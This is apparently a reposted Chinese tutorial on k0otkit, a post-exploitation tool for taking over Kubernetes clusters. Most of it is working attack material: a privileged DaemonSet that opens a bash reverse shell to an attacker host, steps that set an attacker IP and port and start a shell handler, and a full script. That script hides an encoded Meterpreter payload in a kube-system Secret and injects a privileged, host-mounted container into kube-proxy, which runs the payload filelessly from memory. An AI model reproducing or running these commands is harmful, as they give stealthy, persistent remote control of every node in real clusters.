文章前言
k0otkit是一种通用的后渗透技术,可用于对Kubernetes集群的渗透,攻击者可以使用k0otkit快速、隐蔽和连续的方式(反向shell)操作目标Kubernetes集群中的所有节点,K0otkit使用到的技术主要有以下几个:
-
kube-proxy镜像(就地取材)
-
动态容器注入(高隐蔽性)
-
Meterpreter(流量加密)
-
无文件攻击(高隐蔽性)
-
DaemonSet和Secret资源(快速持续反弹、资源分离)
K8S渗透
常见的K8S集群如下所示:
常见的K8S的渗透路径:

形象的K8S的渗透过程:

集群控制
我们控制一个Kubernetes集群需要经过以下几个阶段:
Web渗透 >> 提权 >> 逃逸 >> Master root >> ???
如果此时的Master参与Pod调度,那么我们可以利用DaemonSet资源特性(如果有Pod挂掉,DaemonSet控制器将自动重建该Pod),自动在所有节点上均部署一个Pod实例,同时将把DaemonSet和反弹shell结合在一起实现反弹shell控制节点的目的,下面是一个实例:
apiVersion: apps/v1kind: DaemonSetmetadata:name: attackerspec:selector:matchLabels:app: attackertemplate:metadata:labels:app: attackerspec:hostNetwork: truehostPID: truecontainers:- name: mainimage: bashimagePullPolicy: IfNotPresentcommand: [\\\"bash\\\"]# reverse shellargs: [\\\"-c\\\", \\\"bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1\\\"]securityContext:privileged: truevolumeMounts:- mountPath: /hostname: host-rootvolumes:- name: host-roothostPath:path: /type: Directory
使用实例
Step 1:下载k0otkit
git clone https://github.com/Metarget/k0otkitcd k0otkit/chmod +x ./*.sh

Step 2:替换pre_exp.sh文件中的ATTACKER_IP与ATTACKER_PORT以及载荷位数
ATTACKER_IP=192.168.17.165ATTACKER_PORT=4444

Step 3:生成k0otkit
./pre_exp.sh

Step 4:运行handle_multi_reverse_shell.sh
./handle_multi_reverse_shell.sh

Step 5:复制k0otkit.sh中的内容到master节点中去执行(注意kubeconfig文件的位置)
volume_name=cachemount_path=/var/kube-proxy-cachectr_name=kube-proxy-cachebinary_file=/usr/local/bin/kube-proxy-cachepayload_name=cachesecret_name=proxy-cachesecret_data_name=contentctr_line_num=$(kubectl --kubeconfig /home/r00t/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk \\\'/ containers:/{print NR}\\\')volume_line_num=$(kubectl --kubeconfig /home/r00t/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk \\\'/ volumes:/{print NR}\\\')image=$(kubectl --kubeconfig /home/r00t/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep \\\" image:\\\" | awk \\\'{print $2}\\\')# create payload secretcat << EOF | kubectl --kubeconfig /home/r00t/.kube/config apply -f -apiVersion: v1kind: Secretmetadata:name: $secret_namenamespace: kube-systemtype: Opaquedata:$secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODExYTU2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjYwY2IwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgwEOF# assume that ctr_line_num < volume_line_num# otherwise you should switch the two sed commands below# inject malicious container into kube-proxy podkubectl --kubeconfig /home/r00t/.kube/config -n kube-system get daemonsets kube-proxy -o yaml \\\\| sed \\\"$volume_line_num a\\\\ \\\\ \\\\ \\\\ \\\\ \\\\ - name: $volume_name\\\\n hostPath:\\\\n path: /\\\\n type: Directory\\\\n\\\" \\\\| sed \\\"$ctr_line_num a\\\\ \\\\ \\\\ \\\\ \\\\ \\\\ - name: $ctr_name\\\\n image: $image\\\\n imagePullPolicy: IfNotPresent\\\\n command: [\\\\\\\"sh\\\\\\\"]\\\\n args: [\\\\\\\"-c\\\\\\\", \\\\\\\"echo \\\\$$payload_name | perl -e \\\'my \\\\$n=qq(); my \\\\$fd=syscall(319, \\\\$n, 1); open(\\\\$FH, qq(>&=).\\\\$fd); select((select(\\\\$FH), \\\\$|=1)[0]); print \\\\$FH pack q/H*/, <STDIN>; my \\\\$pid = fork(); if (0 != \\\\$pid) { wait }; if (0 == \\\\$pid){system(qq(/proc/\\\\$\\\\$\\\\$\\\\$/fd/\\\\$fd))}\\\'\\\\\\\"]\\\\n env:\\\\n - name: $payload_name\\\\n valueFrom:\\\\n secretKeyRef:\\\\n name: $secret_name\\\\n key: $secret_data_name\\\\n securityContext:\\\\n privileged: true\\\\n volumeMounts:\\\\n - mountPath: $mount_path\\\\n name: $volume_name\\\" \\\\| kubectl --kubeconfig /home/r00t/.kube/config replace -f -

Step 6:等待反弹shell回来

Step 7:进行交互操作
Step 8:逃逸并控制节点
原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34293.html